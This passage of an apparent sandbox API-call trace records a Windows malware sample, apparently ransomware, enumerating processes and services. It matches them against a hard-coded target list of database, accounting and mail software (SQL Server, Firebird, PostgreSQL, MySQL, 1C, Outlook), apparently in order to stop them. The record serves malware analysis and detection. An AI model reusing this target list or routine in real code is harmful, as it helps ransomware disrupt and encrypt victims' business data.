dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.095] lstrlenW (lpString="conhost.exe") returned 11 [0068.095] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0068.096] lstrlenW (lpString="vssadmin.exe") returned 12 [0068.096] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0068.097] lstrlenW (lpString="VSSVC.exe") returned 9 [0068.097] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0068.097] CloseHandle (hObject=0x1e8) returned 1 [0068.098] Sleep (dwMilliseconds=0x1f4) [0068.984] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626e10 [0068.985] EnumServicesStatusExW (in: hSCManager=0x626e10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0068.985] GetLastError () returned 0xea [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0068.986] EnumServicesStatusExW (in: hSCManager=0x626e10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0068.986] CloseServiceHandle (hSCObject=0x626e10) returned 1 [0068.986] lstrlenW (lpString="Appinfo") returned 7 [0068.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.987] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.987] lstrlenW (lpString="AudioSrv") returned 8 [0068.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0068.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0068.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0068.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0068.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0068.987] lstrlenW (lpString="BFE") returned 3 [0068.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.987] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.987] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.987] lstrlenW (lpString="CryptSvc") returned 8 [0068.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.987] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.987] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.988] lstrlenW (lpString="CscService") returned 10 [0068.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0068.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0068.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0068.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0068.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0068.988] lstrlenW (lpString="DcomLaunch") returned 10 [0068.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.988] lstrlenW (lpString="Dhcp") returned 4 [0068.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.988] lstrlenW (lpString="Dnscache") returned 8 [0068.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.988] lstrlenW (lpString="DPS") returned 3 [0068.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.989] lstrlenW (lpString="eventlog") returned 8 [0068.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0068.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0068.989] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0068.989] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0068.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0068.989] lstrlenW (lpString="EventSystem") returned 11 [0068.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.989] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.989] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.989] lstrlenW (lpString="gpsvc") returned 5 [0068.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.989] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.989] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.989] lstrlenW (lpString="iphlpsvc") returned 8 [0068.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.989] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.989] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.989] lstrlenW (lpString="LanmanServer") returned 12 [0068.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.989] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.989] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.990] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.990] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.990] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.990] lstrlenW (lpString="lmhosts") returned 7 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.990] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.990] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.990] lstrlenW (lpString="MMCSS") returned 5 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0068.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0068.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0068.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0068.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0068.990] lstrlenW (lpString="MpsSvc") returned 6 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.990] lstrlenW (lpString="Netman") returned 6 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0068.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0068.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0068.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0068.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0068.990] lstrlenW (lpString="netprofm") returned 8 [0068.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.991] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.991] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.991] lstrlenW (lpString="NlaSvc") returned 6 [0068.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.991] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.991] lstrlenW (lpString="nsi") returned 3 [0068.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.991] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.991] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.991] lstrlenW (lpString="PcaSvc") returned 6 [0068.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0068.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0068.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0068.991] lstrlenW (lpString="PlugPlay") returned 8 [0068.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0068.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0068.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0068.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0068.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0068.991] lstrlenW (lpString="Power") returned 5 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0068.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0068.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0068.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0068.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0068.992] lstrlenW (lpString="ProfSvc") returned 7 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0068.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0068.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0068.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0068.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0068.992] lstrlenW (lpString="RpcEptMapper") returned 12 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0068.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0068.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0068.992] lstrlenW (lpString="RpcSs") returned 5 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0068.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0068.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0068.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0068.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0068.992] lstrlenW (lpString="SamSs") returned 5 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0068.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0068.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0068.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0068.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0068.992] lstrlenW (lpString="Schedule") returned 8 [0068.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0068.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0068.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0068.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0068.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0068.993] lstrlenW (lpString="SENS") returned 4 [0068.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0068.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0068.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0068.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0068.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0068.993] lstrlenW (lpString="ShellHWDetection") returned 16 [0068.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.993] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0068.993] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0068.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0068.993] lstrlenW (lpString="Spooler") returned 7 [0068.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0068.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0068.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0068.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0068.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0068.993] lstrlenW (lpString="swprv") returned 5 [0068.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0068.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0068.994] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0068.994] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0068.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0068.994] lstrlenW (lpString="SysMain") returned 7 [0068.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0068.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0068.994] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0068.994] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0068.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0068.994] lstrlenW (lpString="Themes") returned 6 [0068.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0068.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0068.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0068.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0068.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0068.994] lstrlenW (lpString="TrkWks") returned 6 [0068.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0068.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0068.994] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0068.994] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0068.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0068.994] lstrlenW (lpString="UxSms") returned 5 [0068.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0068.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0068.994] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0068.994] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0068.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0068.994] lstrlenW (lpString="VSS") returned 3 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0068.995] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0068.995] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0068.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0068.995] lstrlenW (lpString="WdiServiceHost") returned 14 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0068.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0068.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0068.995] lstrlenW (lpString="WdiSystemHost") returned 13 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0068.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0068.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0068.995] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0068.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0068.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0068.995] lstrlenW (lpString="Winmgmt") returned 7 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0068.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0068.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0068.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0068.995] lstrlenW (lpString="WPDBusEnum") returned 10 [0068.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0068.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0068.996] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0068.996] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0068.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0068.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0068.996] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0069.000] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.000] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.001] lstrlenW (lpString="System") returned 6 [0069.001] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0069.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0069.001] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.002] lstrlenW (lpString="smss.exe") returned 8 [0069.002] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0069.002] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.002] lstrlenW (lpString="csrss.exe") returned 9 [0069.002] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0069.002] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0069.003] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0069.003] lstrcmpiW 